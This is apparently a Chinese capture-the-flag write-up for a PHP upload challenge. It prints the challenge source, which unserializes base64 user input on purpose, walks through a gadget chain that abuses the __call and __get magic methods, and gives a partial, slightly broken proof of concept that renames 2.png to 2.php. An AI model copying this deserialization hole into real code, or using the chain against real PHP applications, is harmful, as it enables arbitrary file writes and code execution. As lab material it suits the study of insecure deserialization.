WEB-1 Upload(简化)

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include 're.php';
class register 
{
    public $ff;
         
    public function index()
    {
        print('hahaha');
    }

    public function __construct()
    {
        print('hacked by jiahaoqiu');
    }

    public function guapi()
    {
        if(!$this->ff)
        {
             $this->ff->index();
        }
         
    }


     public function __destruct()
        {
        #echo 123;
        print('hacked by jiahaoqiu  12345');
                if($this->ff)
                {
               echo 'ssss';
                       $this->ff->index();
                }
         
        }
     
}

$fan = $_GET['a'];
unserialize(base64_decode($fan));
?>

re.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
 
 
class aa{
         
        public $filename_tmp;
        public $filename;
        public $ext;
        #public $img;
        public $arr;
    public function __construct()
    {
        echo "hackded by jiahaoqiu";
         
    }
         
    public function upload(){
        if(!empty($_FILES)){
                $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
                $this->filename=md5($_FILES['upload_file']['name']).".png";
                $this->ext_check();
            }
            if($this->ext) {
                echo 3;
                if(getimagesize($this->filename_tmp)) {
                    @copy($this->filename_tmp, $this->filename);
                    @unlink($this->filename_tmp);
                    #$this->img="$this->filename";
                    #echo $thi->img;
                }else{
                echo "error";
                }
            }else{
                    echo "error";
            }
        }
    public function __get($name){
        echo '2';
        return $this->arr[$name];
    }
    public function __call($name, $arguments){
        echo '1';
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }
    public function hello()
    {
        echo "hacked by 1";
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }
}
 

 
 
?>

本题目的是将文件夹中的2.png文件改为2.php,审计源码index.php第17行发现upload函数中第二个分支语句可利用,只要控制filenamefilename_tmp属性即可达到将2.png替换为2.php的目的,而要利用upload函数就需要进观察。



做题时还是会最先考虑利用题目中很显眼的__Call__Get两个魔术方法,发现__Call函数中:
其中$arguments便是函数形参,可以利用此行语句来执行upload()。想要利用__Call函数就需要调用该类中不存在的方法;并且,再调用__Call函数时,形参$name即为被调用的那个不存在的方法的名称;

__Get函数的利用需要调用该类中不存在的属性,此时再看__Call函数中的if($this->{$name}),竟然用形参$name 这个该类中不存在的方法做判断条件,那么当调用这个与不存在的方法同名的属性时,__Get函数便会执行,从而进入 return $this->arr[$name] 语句,所以当我们控制arr数组中下标为$name的值时便可控制return的返回值,即将$this->{$name}变为我们指定的 arr[$name]的值,结合前面要利用upload函数,将arr[$name]的值变为upload,即可将$this->{$this->{$name}}($arguments)
变为执行$this->upload();



如上,开始构造完整的序列化攻击链,首先要调用upload函数就需要调用Call函数,发现可以利用$this->ff->index(),将register类中的ff属性赋为aa类,这样就能是aa类调用其不存在的方法“index()”,从而调用Call函数,在执行Call函数时,其中的if($this->{$name})即变为
if($this->index),而aa类中又不存在index这个属性,所以会进而调用
Get函数,我们再令Get函数中的arr[index]的值为upload,使 Get函数最终将“upload“ return给$this->{$name},便可通过
$this->{$this->{$name}}($arguments)执行$this->upload()



POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
 
$a = new aa();
 
$reg = new register();
$reg -> ff = $a;
 
$a -> arr = array(''index => 'upload');
$a -> filename_tmp = '2.png';
$a -> filename = '2.php';
$a -> ext = '1';
 
?>